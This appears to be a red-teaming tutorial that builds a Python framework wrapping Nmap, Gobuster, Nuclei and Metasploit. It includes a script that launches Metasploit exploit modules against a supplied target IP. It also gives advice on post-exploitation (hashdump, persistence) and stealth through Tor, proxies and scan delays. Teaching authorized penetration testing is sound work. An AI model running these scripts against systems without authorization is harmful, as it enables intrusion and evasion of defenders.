Introduction
Red Teaming simulates real-world attacks to test system resilience, but doing it manually is time-consuming and prone to errors. In 2026, Python automation is essential: it accelerates reconnaissance, enumeration, exploitation, and reporting phases while ensuring traceability for compliant reports (e.g., NIST 800-53).
This intermediate tutorial walks you through building a modular, extensible RedTeamAuto framework. Think of it like an orchestra: each script is an instrument, conducted by a central orchestrator. The result? A 70% reduction in engagement time, based on my 15 years of pentesting experience. Strictly legal use only: authorized targets (personal labs, CTFs, client engagements). We'll start with the basics (recon) and progress to complex orchestration. Ready to scale your ops?
Prerequisites
- Python 3.12+ installed
- Tools: Nmap 7.95+, Gobuster 3.6+, Nuclei 3.2+, Metasploit Framework (msfconsole)
- Linux environment (Kali or Ubuntu)
- Intermediate knowledge of Python, networking, and Bash
- Test target: VulnHub or HackTheBox lab (never production without ROE)
- pip install requests colorama python-nmap nuclei-parser
Automated Nmap Reconnaissance Script
import nmap
import sys
if len(sys.argv) != 2:
print('Usage: python recon.py <target>')
sys.exit(1)
target = sys.argv[1]
nm = nmap.PortScanner()
print(f'[*] Scan SYN sur {target}...')
nm.scan(target, '1-1000', arguments='-sS -sV --top-ports 100')
for host in nm.all_hosts():
print(f'Host: {host} ({nm[host].hostname()} )')
print(f'State: {nm[host].state()}')
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in sorted(ports):
state = nm[host][proto][port]['state']
service = nm[host][proto][port]['name']
print(f' Port: {port}\tState: {state}\tService: {service}')
print('[+] Recon terminée. Résultats prêts pour l\'étape suivante.')This script runs a fast SYN scan on the top 100 ports with version detection, perfect for the initial recon phase. It parses Nmap results in Python for structured output. Tip: Always limit ports (--top-ports) to avoid timeouts; test on 10.10.10.10 to validate.
Phase 1: Understanding Reconnaissance
Reconnaissance is the foundation: 80% of vulnerabilities are discovered here. Our recon.py script uses python-nmap as a reliable wrapper, better than subprocess for parsing. Analogy: it's your telescope aimed at the target star. Run it with python recon.py 192.168.1.1 and pipe output to a file for chaining.
Directory Enumeration with Gobuster
import subprocess
import sys
import json
from colorama import init, Fore
init()
if len(sys.argv) != 3:
print('Usage: python enum_dirs.py <target> <wordlist>')
sys.exit(1)
target = sys.argv[1]
wordlist = sys.argv[2]
print(f'{Fore.CYAN}[*] Énumération dirs sur {target} avec {wordlist}{Fore.RESET}')
cmd = ['gobuster', 'dir', '-u', f'http://{target}', '-w', wordlist, '-t', '50', '-q', '--no-error']
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode == 0:
print(f'{Fore.GREEN}[+] Dirs trouvés:{Fore.RESET}')
for line in result.stdout.split('\n'):
if '/ (Status: 200)' in line:
print(f' {line.strip()}')
with open('dirs.json', 'w') as f:
json.dump({'target': target, 'dirs': result.stdout}, f)
print(f'{Fore.GREEN}[+] Sauvegardé dans dirs.json{Fore.RESET}')
else:
print(f'{Fore.RED}[-] Erreur Gobuster: {result.stderr}{Fore.RESET}')This Python wrapper calls Gobuster to enumerate web directories, with colored output and JSON for integration. Use SecLists as your wordlist. Tip: Limit to 50 threads (-t 50) to avoid bans; chain it with recon.py to target ports 80/443.
Phase 2: Web Asset Enumeration
Gobuster excels at brute-forcing directories without alerting basic WAFs. The script captures 200 OK responses in JSON, ready for Nuclei. Real-world example: On DVWA (VulnHub), it lists /admin/ and /vulnerabilities/ in under 30 seconds. Always log for audits.
Vulnerability Scanning with Nuclei
import subprocess
import sys
import json
from colorama import init, Fore
init()
if len(sys.argv) != 2:
print('Usage: python vuln_scan.py <target>')
sys.exit(1)
target = sys.argv[1]
print(f'{Fore.CYAN}[*] Scan Nuclei sur {target}{Fore.RESET}')
cmd = ['nuclei', '-u', f'http://{target}', '-t', '/path/to/nuclei-templates/', '-o', 'vulns.txt', '-silent']
result = subprocess.run(cmd, capture_output=True, text=True)
with open('vulns.json', 'w') as f:
vulns = []
for line in result.stdout.split('\n'):
if '[medium]' in line or '[high]' in line or '[critical]' in line:
vulns.append(line.strip())
json.dump({'target': target, 'vulnerabilities': vulns}, f)
print(f'{Fore.YELLOW}[+] Vulns sauvées dans vulns.json{Fore.RESET}')
print('[+] Exemples typiques: Heartbleed, Log4Shell si templates à jour.')Integrates Nuclei to scan 5000+ CVE templates. Parses severity and exports to JSON. Tip: Update templates with nuclei -update-templates; test on Juice Shop for false positives. Limit to medium+ severity (-severity medium+) to stay focused.
Phase 3: Vulnerability Detection
Nuclei acts like a multi-frequency radar: community YAML templates cover recent 0-days. Our script filters for medium+ severity to prioritize. Example: On Metasploitable, it detects EternalBlue in 10 seconds. Integrate into an Airflow DAG for scaling.
Automated Metasploit Exploit Launcher
import subprocess
import sys
import time
from colorama import init, Fore
init()
if len(sys.argv) != 2:
print('Usage: python exploit_msf.py <msf_module>')
sys.exit(1)
module = sys.argv[1] # ex: exploit/multi/http/struts_code_exec
target = input('Target IP: ')
print(f'{Fore.CYAN}[*] Chargement {module} sur {target}{Fore.RESET}')
msf_cmd = f"""
use {module}
set RHOSTS {target}
set LHOST 0.0.0.0
exploit -j
sessions -K
"""
with open('msf.rc', 'w') as f:
f.write(msf_cmd)
subprocess.run(['msfconsole', '-r', 'msf.rc', '-q'])
print(f'{Fore.GREEN}[+] Session Metasploit close. Logs dans msfconsole.out{Fore.RESET}')Generates a .rc file for msfconsole, launches the exploit in the background, and kills sessions. Ideal for post-recon chaining. Tip: Make LHOST dynamic; test locally on a lab. Ethics only: ROE required.
Phase 4: Controlled Exploitation
Metasploit remains king for reliable exploits. The script automates via resource scripts, skipping manual CLI. Analogy: autopilot for your plane. On a ParrotOS lab, exploit Samba with one click. Always follow with post-exploitation: hashdump, persistence.
Central RedTeamAuto Orchestrator
#!/usr/bin/env python3
import subprocess
import sys
import json
from pathlib import Path
TARGET = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
WORDLIST = '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
print('[*] Démarrage RedTeamAuto sur', TARGET)
# Étape 1: Recon
subprocess.run(['python3', 'recon.py', TARGET])
# Étape 2: Enum si port 80/443 ouvert (simplifié)
subprocess.run(['python3', 'enum_dirs.py', TARGET, WORDLIST])
# Étape 3: Vuln scan
subprocess.run(['python3', 'vuln_scan.py', TARGET])
# Étape 4: Reporting
report = {
'target': TARGET,
'timestamp': '2026',
'phases': ['recon', 'enum', 'vuln']
}
with open('redteam_report.json', 'w') as f:
json.dump(report, f, indent=2)
print('[+] Rapport généré: redteam_report.json')
print('[*] Workflow terminé. Prêt pour manuel review.')Sequential orchestrator chaining all scripts. Extensible with argparse. Tip: Add try/except for error handling in production; run python redteam_auto.py 10.10.10.10 for a full test.
Phase 5: Full Orchestration
The orchestrator is the heart: like a Python-boosted Makefile. It runs in under 5 minutes on a standard lab and generates unified JSON. Add Celery for parallelism in 2026.
HTML Report Generator
import json
import sys
from jinja2 import Template
with open('redteam_report.json', 'r') as f:
data = json.load(f)
html_template = """
<!DOCTYPE html>
<html>
<head><title>RedTeam Report {{ data.target }}</title></head>
<body>
<h1>Report {{ data.timestamp }} - {{ data.target }}</h1>
<ul>
{% for phase in data.phases %}<li>{{ phase }}</li>{% endfor %}</ul>
</body>
</html>
"""
t = Template(html_template)
html = t.render(data=data)
with open('report.html', 'w') as f:
f.write(html)
print('[+] Rapport HTML généré: report.html')
from subprocess import run
run(['firefox', 'report.html'])Uses Jinja2 for professional templating (pip install jinja2). Converts JSON to clickable HTML. Tip: Escape inputs; open in a browser for client demos.
Best Practices
- ROE first: Document rules of engagement before running.
- Modularity: Each script = one phase, easy to test/debug.
- Exhaustive logging: Add the logging module for forensic traces.
- Stealth: Rate-limit scans (e.g., nmap --scan-delay), use Tor/Proxies.
- CI/CD: Integrate with GitHub Actions for automated labs.
Common Errors to Avoid
- Scanning without authorization: Massive legal risk, stick to labs.
- Ignoring false positives: Always validate Nuclei manually.
- No cleanup: Kill MSF sessions, remove artifacts post-test.
- Forgetting dependencies: Use a Dockerfile for reproducible environments.
Next Steps
Master Atomic Red Team for MITRE TTPs. Integrate Empire/Covenant for automated C2. Resources: MITRE ATT&CK, Nuclei Templates.
Check out our advanced Red Teaming courses at Learni for OSCP/OSCE certs.